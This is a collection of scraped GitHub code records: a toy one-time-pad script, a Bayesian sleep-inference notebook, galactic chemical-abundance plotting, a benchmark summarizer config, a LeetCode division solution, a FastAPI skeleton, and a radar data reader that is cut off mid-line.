+{"seq_id":"10179494596","text":"from random import randint\nfrom pathlib import Path \ndef otpGen():\n\tlength = input('How long is your message? (number) ')\n\tname = input('What is the name of your otp? ')\n\tlength = int(length)\n\tf = open(name, 'w+')\n\ti = 0\n\twhile i < length:\n\t\ti += 1\n\t\tnum = randint(1,26)\n\t\tnum = str(num)\n\t\tf.write(num)\n\t\tf.write('\\n')\ndef menu():\n\ta = 0\n\twhile True:\n\t\ta = input('Generate one­time pad(1) \\n Encrypt a message(2) \\n Decrypt a message(3) \\n Quit out of the program(4) ')\n\t\tif a == '1' or a == '2' or a == '3' or a == '4':\n\t\t\tbreak\n\ta = int(a)\n\treturn a\ndef otpLoader():\n\twhile True:\n\t\tsheetName = input('What is the name of your otp? ')\n\t\tmy_file =  Path(\"./\" + sheetName)\n\t\tif my_file.is_file():\n\t\t\tf = open(sheetName, 'r+')\n\t\t\tFile = f.read()\n\t\t\tFile = File.split()\n\t\t\tl = []\n\t\t\tfor n in File:\n\t\t\t\tl.append(n)\n\t\t\treturn (l)\ndef encryptionInput():\n\ti = input('What is your message? ')\n\treturn i\ndef decryptionLoader():\n\ti = input('What file would you like to decrypt? ')\n\tf = open(i, 'r+')\n\tFile = f.read()\n\tFile = File.lower()\n\tl = []\n\tfor n in File:\n\t\tl.append(n)\n\treturn (l)\ndef fileGen(content):\n\twhile True:\n\t\tchoice = input('Would you like to store it to a file or have it printed? (s/p) ')\n\t\tif choice == 's' :\n\t\t\tname = input('What will your file be called? ')\n\t\t\tf = open(name, 'w+')\n\t\t\tf.write(content)\n\t\t\tbreak\n\t\telif choice == 'p' :\n\t\t\tprint(\"\\n\" + content + \"\\n\")\n\t\t\tbreak\ndef encryption(message, number):\n\ta = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']\n\tencryptedMessage = []\n\tfor n,l in enumerate(message):\n\t\tif l in a:\n\t\t\tencryptNum = number[n]\n\t\t\talpNum = 0\n\t\t\tfor aCycle in a:\n\t\t\t\tif l == aCycle:\n\t\t\t\t\tbreak\n\t\t\t\talpNum += 1\n\t\t\tencryptNum = int(encryptNum)\n\t\t\talpNum = alpNum + encryptNum\n\t\t\tif alpNum > 25:\n\t\t\t\talpNum = alpNum - 26\n\t\t\tencryptedMessage.append(a[alpNum])\n\t\telse:\n\t\t\tencryptedMessage.append(l)\n\tfinal = \"\"\n\tfor l in encryptedMessage:\n\t\tfinal = final + l\n\treturn final\ndef decryption(message, number):\n\ta = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']\n\tencryptedMessage = []\n\tfor n,l in enumerate(message):\n\t\tif l in a:\n\t\t\tencryptNum = number[n]\n\t\t\talpNum = 0\n\t\t\tfor aCycle in a:\n\t\t\t\tif l == aCycle:\n\t\t\t\t\tbreak\n\t\t\t\talpNum += 1\n\t\t\tencryptNum = int(encryptNum)\n\t\t\talpNum = alpNum - encryptNum\n\t\t\tif alpNum < 0:\n\t\t\t\talpNum = alpNum + 26\n\t\t\tencryptedMessage.append(a[alpNum])\n\t\telse:\n\t\t\tencryptedMessage.append(l)\n\tfinal = \"\"\n\tfor l in encryptedMessage:\n\t\tfinal = final + l\n\treturn final\nwhile True:\n\tchoice = menu()\n\tif choice == 1:\n\t\totpGen()\n\telif choice == 2:\n\t\tfileGen(encryption(encryptionInput(), otpLoader()))\n\telif choice == 3:\n\t\tfileGen(decryption(decryptionLoader(), otpLoader()))\n\telse:\n\t\tbreak\n","repo_name":"carsonkui/encryptionCode","sub_path":"encriptionCode.py","file_name":"encriptionCode.py","file_ext":"py","file_size_in_byte":2759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"43647065031","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# [Code](https://github.com/WillKoehrsen/ai-projects/blob/master/bayesian_inference/bayes_rule_applied.ipynb)\n# behind\n# [Bayes' Rule Applied](https://towardsdatascience.com/bayes-rule-applied-75965e4482ff).\n# # Bayesian Inference\n#\n# ## Updating probabilities based on new information\n# In[10]:\n# Numpy and pandas for data manipulation\nimport numpy as np\nimport pandas as pd\n# Matplotlib for visualization\nimport matplotlib.pyplot as plt\nimport matplotlib\nget_ipython().run_line_magic('matplotlib', 'inline')\nfrom IPython.core.pylabtools import figsize\n# Plotting styling\nimport json\ns = json.load(open('../json/bmh_matplotlibrc.json'))\nmatplotlib.rcParams.update(s)\nmatplotlib.rcParams['figure.figsize'] = (10, 3)\nmatplotlib.rcParams['font.size'] = 14\nmatplotlib.rcParams['ytick.major.size'] = 20\n# In[11]:\n# Logistic Parameters from Markov Chain Monte Carlo Notebook\nalpha = 0.977400\nbeta = -0.067270\n# In[12]:\n# likelihoods\n# P(light | sleep)\nlight_sleep = 0.01\n# P(-light | sleep)\nnolight_sleep = 0.99\n# P(light | -sleep)\nlight_nosleep = 0.8\n# P(-light | -sleep)\nnolight_nosleep = 0.2\n# P(phone | sleep)\nphone_sleep = 0.95\n# P(-phone | sleep)\nnophone_sleep = 0.05\n# P(phone | -sleep)\nphone_nosleep = 0.25\n# P(-phone | -sleep)\nnophone_nosleep = 0.75\n# In[13]:\ndef calculate_prior(time, alpha, beta):\n    p = 1.0 / (1.0 + np.exp(np.dot(beta, time) + alpha))\n    return p\n# In[15]:\n# Data formatted in different notebook\nsleep_data = pd.read_csv('../data/sleep_data.csv.gz')\n# Labels for plotting\nsleep_labels = ['9:00', '9:30', '10:00', '10:30', '11:00', '11:30', '12:00']\nfigsize(16, 6)\n# Sleep data\nplt.scatter(\n    sleep_data['time_offset'], sleep_data['indicator'],\n    s= 60, alpha=0.01, facecolor = 'b', edgecolors='b',\n)\nplt.yticks([0, 1], ['Awake', 'Asleep']); plt.xlabel('PM Time');\nplt.title('Falling Asleep Data', size = 18)\nplt.xticks([-60, -30, 0, 30, 60, 90, 120], sleep_labels);\n# In[16]:\n# Sort the values by time offset\nsleep_data.sort_values('time_offset', inplace=True)\n# Time is the time offset\ntime = np.array(sleep_data.loc[:, 'time_offset'])\n# Observations are the indicator\nsleep_obs = np.array(sleep_data.loc[:, 'indicator'])\n# In[26]:\n# Time values for probability prediction\ntime_est = np.linspace(time.min()- 5, time.max() + 5, 1000)[:, None]\n# Probability at each time using mean values of alpha and beta\nsleep_est = calculate_prior(time_est, alpha, beta)\n# # Prior Distribution of Sleep as a Function of Time\n# In[27]:\nfigsize(16, 6)\nplt.plot(\n    time_est, sleep_est, color = 'navy',\n    lw=4, label='Model',\n)\nplt.scatter(\n    time, sleep_obs, edgecolor = 'slateblue',\n    s=50, alpha=0.2, label='Observations',\n)\nplt.title('Prior Probability Distribution for Sleep as Function of Time');\nplt.legend(prop={'size':18})\nplt.ylabel('Probability')\nplt.xlabel('PM Time');\nplt.xticks([-60, -30, 0, 30, 60, 90, 120], sleep_labels);\n# In[28]:\nprint('The probability of sleep increases to above 50% at 10:{} PM.\\n'.format(int(time_est[np.where(sleep_est > 0.5)[0][0]][0])))\nprint(\n    '9:30  PM probability of being asleep: {:.2f}%.'.\n    format(100 * calculate_prior(-30, alpha, beta)),\n)\nprint(\n    '10:00 PM probability of being asleep: {:.2f}%.'.\n    format(100 * calculate_prior(0, alpha, beta)),\n)\nprint(\n    '10:30 PM probability of being asleep: {:.2f}%.'.\n    format(100 * calculate_prior(30, alpha, beta)),\n)\n# ## Updated Probability with Light Data\n# In[29]:\ndef update_probability(time_offset, light):\n    # Calculate the prior for the time\n    prior_probability = calculate_prior(time_offset, alpha, beta)\n\n    # Account for evidence\n    if light == 0:\n        likelihood = nolight_sleep\n        non_likelihood = nolight_nosleep\n    elif light == 1:\n        likelihood = light_sleep\n        non_likelihood = light_nosleep\n\n    numerator = likelihood * prior_probability\n    denominator = (likelihood * prior_probability) + (non_likelihood * (1 - prior_probability))\n\n    conditional_probability = numerator / denominator\n\n\n    if type(time_offset) == int:\n        time = pd.datetime(2017, 1, 1, 10, 0, 0)\n        new_time = str((time + pd.DateOffset(minutes = time_offset)).time())\n        if light == 0:\n            print('Time: {} PM \\tLight is OFF.'.format(new_time))\n        elif light == 1:\n            print('Time: {} PM \\tLight is ON.'.format(new_time))\n\n        print('\\nThe prior probability of sleep:    {:.2f}%'.format(100 * prior_probability))\n        print('The updated probability of sleep:  {:.2f}%'.format(100 * conditional_probability))\n\n    return conditional_probability\n# In[30]:\nresult = update_probability(time_offset = 30, light = 1)\n# In[31]:\nresult = update_probability(time_offset = -30, light = 0)\n# In[32]:\nresults = update_probability(time_offset = -15, light = 0)\n# In[33]:\nlight_on_prob = update_probability(time_est, light = 1)\nlight_off_prob = update_probability(time_est, light = 0)\n# ## Visualize Probability with light\n# In[34]:\nfigsize(18, 8)\nplt.plot(\n    time_est, sleep_est, color = 'black',\n    lw=3, linestyle = '--', label='Prior Probability',\n)\nplt.plot(\n    time_est, light_on_prob, color = 'darkred',\n    lw = 5, label = 'Light On Probability',\n)\nplt.plot(\n    time_est, light_off_prob, color = 'darkgreen',\n    lw = 5, label = 'Light Off Probability',\n)\nplt.scatter(\n    time, sleep_obs, edgecolor = 'slateblue',\n    s=50, alpha=0.2, label='Observations',\n)\nplt.title('Updated Probability Distribution for Sleep');\nplt.legend(prop={'size':18}, loc=2)\nplt.ylabel('Probability')\nplt.xlabel('PM Time');\nplt.xticks([-60, -30, 0, 30, 60, 90, 120], sleep_labels);\n# # Light and Phone Charging Information\n# In[35]:\ndef add_update_probability(time_offset, light, phone):\n    # Calculate the prior for the time\n    prior_probability = calculate_prior(time_offset, alpha, beta)\n\n    # Account for evidence\n    if light == 0:\n        l_likelihood = nolight_sleep\n        l_non_likelihood = nolight_nosleep\n        l_status = 'OFF'\n\n    elif light == 1:\n        l_likelihood = light_sleep\n        l_non_likelihood = light_nosleep\n        l_status= 'ON'\n\n    if phone == 0:\n        p_likelihood = nophone_sleep\n        p_non_likelihood = nophone_nosleep\n        p_status = 'NOT charging'\n\n    elif phone == 1:\n        p_likelihood = phone_sleep\n        p_non_likelihood = phone_nosleep\n        p_status = 'charging'\n\n    numerator = l_likelihood * p_likelihood * prior_probability\n    denominator = (l_likelihood * p_likelihood * prior_probability) + (l_non_likelihood * p_non_likelihood * (1 - prior_probability))\n\n    conditional_probability = numerator / denominator\n\n    if type(time_offset) == int:\n        time = pd.datetime(2017, 1, 1, 10, 0, 0)\n        new_time = str((time + pd.DateOffset(minutes = time_offset)).time())\n\n        print(\n            'Time is {} PM \\tLight is {} \\tPhone IS {}.'.format(\n            new_time, l_status, p_status,\n            ),\n        )\n\n        print('\\nThe prior probability of sleep:    {:.2f}%'.format(100 * prior_probability))\n        print('The updated probability of sleep:  {:.2f}%'.format(100 * conditional_probability))\n\n    return conditional_probability\n# In[36]:\nresult = add_update_probability(-15, 1, 1)\n# In[37]:\nresult = add_update_probability(-15, 1, 0)\n# In[38]:\nresult = add_update_probability(60, 1, 0)\n# In[39]:\nresult = add_update_probability(15, 0, 1)\n# In[40]:\nresult = add_update_probability(30, 1, 0)\n# In[41]:\nresult = add_update_probability(30, 0, 0)\n# In[42]:\nresult = add_update_probability(30, 0, 1)\n# In[44]:\ntime_est = np.linspace(time.min()- 15, time.max() + 30, 1000)[:, None]\nsleep_labels.append('00:30')\n# In[45]:\nlight_phone = add_update_probability(time_est, 1, 1)\nnolight_phone = add_update_probability(time_est, 0, 1)\nlight_nophone = add_update_probability(time_est, 1, 0)\nnolight_nophone = add_update_probability(time_est, 0, 0)\n# ## Visualize Probability Distribution with both light and phone\n# In[46]:\nfigsize(18, 8)\nplt.plot(\n    time_est, sleep_est, color = 'black',\n    lw=3, linestyle = '--', label='Prior Probability',\n)\nplt.plot(\n    time_est, light_phone, color = 'orange', lw = 4,\n    label = 'Light ON Phone Charging',\n)\nplt.plot(\n    time_est, nolight_phone, color = 'darkmagenta', lw = 4,\n    label = 'Light OFF Phone Charging',\n)\nplt.plot(\n    time_est, light_nophone, color = 'brown', lw= 4,\n    label = 'Light ON Phone NOT Charging',\n)\nplt.plot(\n    time_est, nolight_nophone, color = 'darkblue', lw = 4,\n    label = 'Light OFF Phone NOT Charging',\n)\nplt.scatter(\n    time, sleep_obs, edgecolor = 'slateblue',\n    s=50, alpha=0.2,\n)\nplt.legend(loc=2); plt.xlabel('Time'); plt.ylabel('Probability')\nplt.title('Probability of Sleep with Light and Phone');\nplt.xticks([-60, -30, 0, 30, 60, 90, 120, 150], sleep_labels);\n# In[ ]:\n","repo_name":"proinsias/pystan-tutorials","sub_path":"notebooks/bayes_rule_applied.py","file_name":"bayes_rule_applied.py","file_ext":"py","file_size_in_byte":8747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"36331389518","text":"import matplotlib\nimport matplotlib.pylab as plt\nfrom matplotlib.pylab import rcParams\nimport numpy as np\nfrom tqdm import tqdm\nfrom .loadObservationalData import plot_MW_Satellites, plot_MW_data, \\\n    plot_GALAH_data, plot_StrontiumObsData, plot_APOGEE_data\nfrom mpl_toolkits.axes_grid1.inset_locator import inset_axes\nfrom .stellar_abundances import calculate_abundaces_from_MW_type_galaxies\nimport h5py\n\n\ndef plot_contour(x, y, xmin, xmax, ymin, ymax, cmap=\"autumn\"):\n\n    ngridx = 30\n    ngridy = 30\n\n    # Create grid values first.\n    xi = np.linspace(xmin, xmax, ngridx)\n    yi = np.linspace(ymin, ymax, ngridy)\n\n    # Create a histogram\n    h, xedges, yedges = np.histogram2d(x, y, bins=(xi, yi))\n    xbins = xedges[:-1] + (xedges[1] - xedges[0]) / 2\n    ybins = yedges[:-1] + (yedges[1] - yedges[0]) / 2\n\n    z = h.T\n\n    levels = np.arange(10, np.ceil(h.max()), 10)\n\n    if len(levels) > 2:\n        contour = plt.contourf(xbins, ybins, z, levels=levels, linewidths=0.8, cmap=cmap, alpha=0.5)\n    else:\n        contour = plt.contour(xbins, ybins, z, levels=levels, linewidths=0.8, cmap=cmap)\n    return contour\n\n\ndef make_plot(x, y, GalR, Galz, Galz_min, Galz_max, GalR_min, GalR_max):\n    plt.grid(linestyle='-', linewidth=0.3)\n\n    select = np.where((GalR >= GalR_min) & (GalR <= GalR_max)\n                      & (np.abs(Galz) <= Galz_max) & (np.abs(Galz) >= Galz_min))[0]\n    # plt.plot(x, y, 'o', alpha=0.05, color='grey')\n    contour = plot_contour(x[select], y[select], -1, 1, -0.6, 0.5)\n    legend_elements, _ = contour.legend_elements()\n\n    plt.axis([-1, 1, -0.6, 0.5])\n    plt.tick_params(direction='in', axis='both', which='both', pad=4.5)\n\n    xticks = np.array([-1, -0.5, 0, 0.5])\n    labels = [\"-1\", \"-0.5\", \"0\", \"0.5\"]\n    plt.xticks(xticks, labels)\n\n    yticks = np.array([-0.5, -0.25, 0, 0.25, 0.5])\n    labels = [\"-0.5\",\"-0.25\", \"0\", \"0.25\", \"0.5\"]\n    plt.yticks(yticks, labels)\n\n    bins = np.arange(-1, 1, 0.2)\n    ind = np.digitize(x[select], bins)\n    xm = [np.median(x[select[ind == i]]) for i in range(1, len(bins)) if len(x[select[ind == i]]) > 10]\n    ym = [np.median(y[select[ind == i]]) for i in range(1, len(bins)) if len(x[select[ind == i]]) > 10]\n    plt.plot(xm, ym, '-', lw=1.5, color='black')\n\n    return legend_elements\n\n\ndef add_APOGEE(element, Galz_min, Galz_max, GalR_min, GalR_max):\n\n    file = \"./plotter/obs_data/APOGEE_data_V2.hdf5\"\n    with h5py.File(file, 'r') as APOGEE_dataobj:\n        FE_H = APOGEE_dataobj['FE_H'][:]\n        el_FE = APOGEE_dataobj[f\"{element}_FE\"][:]\n        Galz = APOGEE_dataobj['Galz'][:]\n        GalR = APOGEE_dataobj['GalR'][:]\n\n    Fe_over_H = 7.5\n    Fe_over_H_GA07 = 7.45\n    if element == \"MG\":\n        Mg_over_H = 7.6\n        Mg_over_Fe_AS09 = Mg_over_H - Fe_over_H\n        Mg_over_H_GA07 = 7.53\n        Mg_over_Fe_GA07 = Mg_over_H_GA07 - Fe_over_H_GA07\n        correction = Mg_over_Fe_GA07 - Mg_over_Fe_AS09\n    elif element == \"O\":\n        O_over_H = 8.69\n        O_over_Fe_AS09 = O_over_H - Fe_over_H\n        O_over_H_GA07 = 8.66\n        O_over_Fe_GA07 = O_over_H_GA07 - Fe_over_H_GA07\n        correction = O_over_Fe_GA07 - O_over_Fe_AS09\n    elif element == \"N\":\n        N_over_H = 7.83\n        N_over_Fe_AS09 = N_over_H - Fe_over_H\n        N_over_H_GA07 = 7.78\n        N_over_Fe_GA07 = N_over_H_GA07 - Fe_over_H_GA07\n        correction = N_over_Fe_GA07 - N_over_Fe_AS09\n    elif element == \"C\":\n        C_over_H = 8.43\n        C_over_Fe_AS09 = C_over_H - Fe_over_H\n        C_over_H_GA07 = 8.39\n        C_over_Fe_GA07 = C_over_H_GA07 - Fe_over_H_GA07\n        correction = C_over_Fe_GA07 - C_over_Fe_AS09\n\n    el_FE += correction\n    FE_H += Fe_over_H_GA07 - Fe_over_H\n\n    select = np.where((GalR >= GalR_min) & (GalR <= GalR_max)\n                      & (np.abs(Galz) <= Galz_max) & (np.abs(Galz) >= Galz_min))[0]\n\n    contour = plot_contour(FE_H[select], el_FE[select], -1, 0.6, -0.5, 0.5, 'winter')\n    legend_elements, _ = contour.legend_elements()\n    return legend_elements\n\n\ndef make_figure(element, x, y, GalR, Galz, xlabel, ylabel, filename, sim_info, output_path):\n\n    # Plot parameters\n    params = {\n        \"font.size\": 15,\n        \"font.family\": \"STIXGeneral\",\n        \"text.usetex\": False,\n        \"mathtext.fontset\": \"stix\",\n        \"figure.figsize\": (10, 6.5),\n        \"figure.subplot.left\": 0.08,\n        \"figure.subplot.right\": 0.97,\n        \"figure.subplot.bottom\": 0.08,\n        \"figure.subplot.top\": 0.93,\n        \"figure.subplot.wspace\": 0.0,\n        \"figure.subplot.hspace\": 0.0,\n        \"lines.markersize\": 1,\n        \"lines.linewidth\": 1,\n        \"figure.max_open_warning\": 0,\n    }\n    plt.rcParams.update(params)\n\n    ### Make plots\n    plt.figure()\n\n    ax = plt.subplot(3, 5, 1)\n    plt.title('$0<R<3$ kpc')\n    legend_elements_sim = make_plot(x, y, GalR, Galz, 1, 2, 0, 3)\n    legend_elements_apogee = add_APOGEE(element, 1, 2, 0, 3)\n    plt.ylabel(ylabel)\n\n    plt.legend([legend_elements_sim[0],legend_elements_apogee[1]],\n               [sim_info.simulation_name,\"APOGEE\"],\n               labelspacing=0.1, handlelength=1.5,\n               handletextpad=0.1, frameon=False, ncol=1, columnspacing=0.02)\n\n\n    ####\n    ax = plt.subplot(3, 5, 2)\n    plt.title('$3<R<6$ kpc')\n    make_plot(x, y, GalR, Galz, 1, 2, 3, 6)\n    add_APOGEE(element, 1, 2, 3, 6)\n    ax.get_yaxis().set_ticklabels([])\n\n    ####\n    ax = plt.subplot(3, 5, 3)\n    plt.title('$6<R<9$ kpc')\n    make_plot(x, y, GalR, Galz, 1, 2, 6, 9)\n    add_APOGEE(element, 1, 2, 6, 9)\n    ax.get_yaxis().set_ticklabels([])\n\n    ####\n    ax = plt.subplot(3, 5, 4)\n    plt.title('$9<R<12$ kpc')\n    make_plot(x, y, GalR, Galz, 1, 2, 9, 12)\n    add_APOGEE(element, 1, 2, 9, 12)\n    ax.get_yaxis().set_ticklabels([])\n\n    ####\n    ax = plt.subplot(3, 5, 5)\n    plt.title('$12<R<15$ kpc')\n    make_plot(x, y, GalR, Galz, 1, 2, 12, 15)\n    add_APOGEE(element, 1, 2, 12, 15)\n    ax.get_yaxis().set_ticklabels([])\n\n    props = dict(boxstyle='round', fc='white', ec='black', alpha=1)\n    ax.text(0.9, 0.9, '$1<|z|<2$ kpc', transform=ax.transAxes,\n            fontsize=15, verticalalignment='top', bbox=props, rotation=270)\n\n    ####\n    ax = plt.subplot(3, 5, 6)\n    make_plot(x, y, GalR, Galz, 0.5, 1.0, 0, 3)\n    add_APOGEE(element, 0.5, 1.0, 0, 3)\n    ax.get_xaxis().set_ticklabels([])\n    plt.ylabel(ylabel)\n\n    ####\n    ax = plt.subplot(3, 5, 7)\n    make_plot(x, y, GalR, Galz, 0.5, 1.0, 3, 6)\n    add_APOGEE(element, 0.5, 1.0, 3, 6)\n    ax.get_xaxis().set_ticklabels([])\n    ax.get_yaxis().set_ticklabels([])\n\n    ####\n    ax = plt.subplot(3, 5, 8)\n    make_plot(x, y, GalR, Galz, 0.5, 1.0, 6, 9)\n    add_APOGEE(element, 0.5, 1.0, 6, 9)\n    ax.get_xaxis().set_ticklabels([])\n    ax.get_yaxis().set_ticklabels([])\n\n    ####\n    ax = plt.subplot(3, 5, 9)\n    make_plot(x, y, GalR, Galz, 0.5, 1.0, 9, 12)\n    add_APOGEE(element, 0.5, 1.0, 9, 12)\n    ax.get_xaxis().set_ticklabels([])\n    ax.get_yaxis().set_ticklabels([])\n\n    ####\n    ax = plt.subplot(3, 5, 10)\n    make_plot(x, y, GalR, Galz, 0.5, 1.0, 12, 15)\n    add_APOGEE(element, 0.5, 1.0, 12, 15)\n    ax.get_xaxis().set_ticklabels([])\n    ax.get_yaxis().set_ticklabels([])\n\n    props = dict(boxstyle='round', fc='white', ec='black', alpha=1)\n    ax.text(0.9, 0.9, '$0.5<|z|<1$ kpc', transform=ax.transAxes,\n            fontsize=15, verticalalignment='top', bbox=props, rotation=270)\n\n    ####\n    ax = plt.subplot(3, 5, 11)\n    make_plot(x, y, GalR, Galz, 0, 0.5, 0, 3)\n    add_APOGEE(element, 0, 0.5, 0, 3)\n    plt.ylabel(ylabel)\n    plt.xlabel(xlabel)\n\n    ####\n    ax = plt.subplot(3, 5, 12)\n    make_plot(x, y, GalR, Galz, 0, 0.5, 3, 6)\n    add_APOGEE(element, 0, 0.5, 3, 6)\n    ax.get_yaxis().set_ticklabels([])\n    plt.xlabel(xlabel)\n\n    ####\n    ax = plt.subplot(3, 5, 13)\n    make_plot(x, y, GalR, Galz, 0, 0.5, 6, 9)\n    add_APOGEE(element, 0, 0.5, 6, 9)\n    ax.get_yaxis().set_ticklabels([])\n    plt.xlabel(xlabel)\n\n    ####\n    ax = plt.subplot(3, 5, 14)\n    make_plot(x, y, GalR, Galz, 0, 0.5, 9, 12)\n    add_APOGEE(element, 0, 0.5, 9, 12)\n    ax.get_yaxis().set_ticklabels([])\n    plt.xlabel(xlabel)\n\n    ####\n    ax = plt.subplot(3, 5, 15)\n    make_plot(x, y, GalR, Galz, 0, 0.5, 12, 15)\n    add_APOGEE(element, 0, 0.5, 12, 15)\n    ax.get_yaxis().set_ticklabels([])\n    plt.xlabel(xlabel)\n\n    props = dict(boxstyle='round', fc='white', ec='black', alpha=1)\n    ax.text(0.9, 0.9, '$0<|z|<0.5$ kpc', transform=ax.transAxes,\n            fontsize=15, verticalalignment='top', bbox=props, rotation=270)\n\n    plt.savefig(f\"{output_path}/\" + filename + \"_\" + sim_info.simulation_name + \".png\", dpi=300)\n\n\n\ndef plot_stellar_abundances_radial_dependence(sim_info, output_path, abundance_data):\n\n    # Look for abundance ratios from COLIBRE snaps:\n    ratios, stars_age, stars_R, stars_z = \\\n        calculate_abundaces_from_MW_type_galaxies(sim_info)\n\n    make_figure('MG', ratios['Fe_H'], ratios['Mg_Fe'], stars_R, stars_z,\n                '[Fe/H]', '[Mg/Fe]', 'MgFe_comparison_radial_cut', sim_info, output_path)\n    make_figure('O', ratios['Fe_H'], ratios['O_Fe'], stars_R, stars_z,\n                '[Fe/H]', '[O/Fe]', 'OFe_comparison_radial_cut', sim_info, output_path)\n    make_figure('N', ratios['Fe_H'], ratios['N_Fe'], stars_R, stars_z,\n                '[Fe/H]', '[N/Fe]', 'NFe_comparison_radial_cut', sim_info, output_path)\n    make_figure('C', ratios['Fe_H'], ratios['C_Fe'], stars_R, stars_z,\n                '[Fe/H]', '[C/Fe]', 'CFe_comparison_radial_cut', sim_info, output_path)\n","repo_name":"correac/COLIBREchemistry","sub_path":"COLIBREchemistry/plotter/abundance_plots.py","file_name":"abundance_plots.py","file_ext":"py","file_size_in_byte":9432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"9607334398","text":"from mmengine.config import read_base\n\nwith read_base():\n    from .groups.mathbench_agent import mathbench_agent_summary_groups\n\nsummarizer = dict(\n    dataset_abbrs=[\n        '######## GSM8K-Agent Accuracy ########', # category\n        ['gsm8k-agent', 'follow_acc'],\n        ['gsm8k-agent', 'reasoning_acc'],\n        ['gsm8k-agent', 'code_acc'],\n        ['gsm8k-agent', 'action_pct'],\n        '######## MATH-Agent Accuracy ########', # category\n        ['math-agent', 'follow_acc'],\n        ['math-agent', 'reasoning_acc'],\n        ['math-agent', 'code_acc'],\n        ['math-agent', 'action_pct'],\n        '######## MathBench-Agent Accuracy ########', # category\n        'mathbench-agent',\n        'mathbench-circular-agent',\n        'mathbench-circular-and-cloze-agent',\n    ],\n    summary_groups=sum(\n        [v for k, v in locals().items() if k.endswith(\"_summary_groups\")], [])\n)\n","repo_name":"helloyongyang/opencompass","sub_path":"configs/summarizers/math_agent.py","file_name":"math_agent.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"77"}
+{"seq_id":"1698018858","text":"#!/usr/bin/env python\r\n# coding: utf-8\r\n\r\nclass Solution(object):\r\n    max_int32 =  2147483647 # 2**31 -1\r\n    min_int32 = -2147483648 #-2**31\r\n\r\n    def divide(self, dividend, divisor):\r\n        \"\"\"\r\n        :type dividend: int\r\n        :type divisor: int\r\n        :rtype: int\r\n        \"\"\"\r\n        \r\n        if dividend == 0 : return 0\r\n\r\n        is_negative = not((dividend > 0 and divisor > 0) or (dividend < 0 and divisor < 0))\r\n\r\n        quotient = 0 \r\n        dividend = abs(dividend)\r\n        divisor  = abs(divisor)\r\n\r\n        while dividend >= divisor:\r\n            base_quotient = 1\r\n            last_divisor = divisor\r\n            multi_divisor = divisor << 1\r\n            while dividend >= multi_divisor:\r\n                last_divisor = multi_divisor\r\n                multi_divisor = (multi_divisor << 1)\r\n                base_quotient = (base_quotient << 1)\r\n\r\n            quotient += base_quotient\r\n            dividend -= last_divisor\r\n\r\n        \r\n        if is_negative:\r\n            quotient = -quotient\r\n        \r\n        if quotient > self.max_int32: \r\n            quotient = self.max_int32\r\n        elif quotient < self.min_int32:\r\n            quotient = self.min_int32\r\n\r\n        return quotient\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    testcases=[\r\n        ([ 100        ,  3] ,  33         ),\r\n        ([ 7         , -3] , -2          ),\r\n        ([-1         ,  1] , -1          ),\r\n        ([-2147483648, -1] ,  2147483647 ),\r\n    ]\r\n\r\n    solution = Solution()\r\n    for i, tc in enumerate(testcases):\r\n        ans = solution.divide(*tc[0])\r\n        print(i, 'OK' if ans == tc[1] else 'Failed', 'expected:%s, return:%s'%(tc[1], ans))\r\n\r\n\r\n# Runtime: 28 ms, faster than 100.00% of Python online submissions for Divide Two Integers.\r\n","repo_name":"hhk0571/leetCode","sub_path":"q029_Divide.py","file_name":"q029_Divide.py","file_ext":"py","file_size_in_byte":1756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"42080796390","text":"import random\nimport statistics\n\n# 随机生成20个小于100的整数，并保存在列表中\nnums = [random.randint(0, 99) for _ in range(20)]\n\n# 计算平均值、最大值、最小值\nmean_val = statistics.mean(nums)\nmax_val = max(nums)\nmin_val = min(nums)\n\n# 输出结果\nprint(\"随机生成的20个小于100的整数为：\", nums)\nprint(\"平均值为：\", mean_val)\nprint(\"最大值为：\", max_val)\nprint(\"最小值为：\", min_val)\n","repo_name":"biancaurendell/python-","sub_path":"program/experiment 2/13-.py","file_name":"13-.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"3424261792","text":"from fastapi import FastAPI, Depends, Request, Path, HTTPException, status, Response\nfrom fastapi.staticfiles import StaticFiles\nfrom starlette.responses import RedirectResponse\nfrom Routers import login, user, post\n\n\n\napp = FastAPI(\n    title= 'IkarmaAPI',\n    description= 'Builded with FastAPI ❤️❤️',\n    version =\"1.0\",\n    contact= {\"email\":\"contact@me.io\"},\n    docs_url =\"/\"\n)\n\n\n# app.mount(\"/static\", StaticFiles(directory=\"static\"), name=\"static\")\n\napp.include_router(login.router)\napp.include_router(user.router)\napp.include_router(post.router)\n\n# @app.get(\"/\")\n# async def main():\n#     return RedirectResponse(url=\"/docs\")\n\n# if __name__ == '__main__':\n#     import uvicorn\n#     uvicorn.run(app, host='127.0.0.1', port=8000)\n","repo_name":"m0hss/IkarmaAPI","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"3356401122","text":"import numpy as np\nfrom loader.radar_sample_reader import radar_sample_reader\nimport matplotlib.pyplot as plt\nimport socket\n\n#Import the parameters from the radar setup, edit params.py for different parameters\nfrom params import numADCSamples, numTxAntennas,numRxAntennas, numLoopsPerFrame, numRangeBins\n\ncount = 0\nif __name__ == '__main__':\n    fg = plt.figure()\n    ax = fg.gca()\n\n    first_time = True\n    im = 0\n    # Opening datafile\n    # filename = \"../2021_02_12_18_40_25.open_radar\"\n    filename = input(\"Enter the file name: \")\n    filename = \"2022_01_19_11_00_31\"\n    filename = filename + \".open_radar\"\n    print(filename)\n    reader = radar_sample_reader(filename)\n\n\n    while True:\n        # Reading data from file\n        try:\n            header,np_raw_frame = reader.getNextSample()\n        except:\n            header,np_raw_frame = 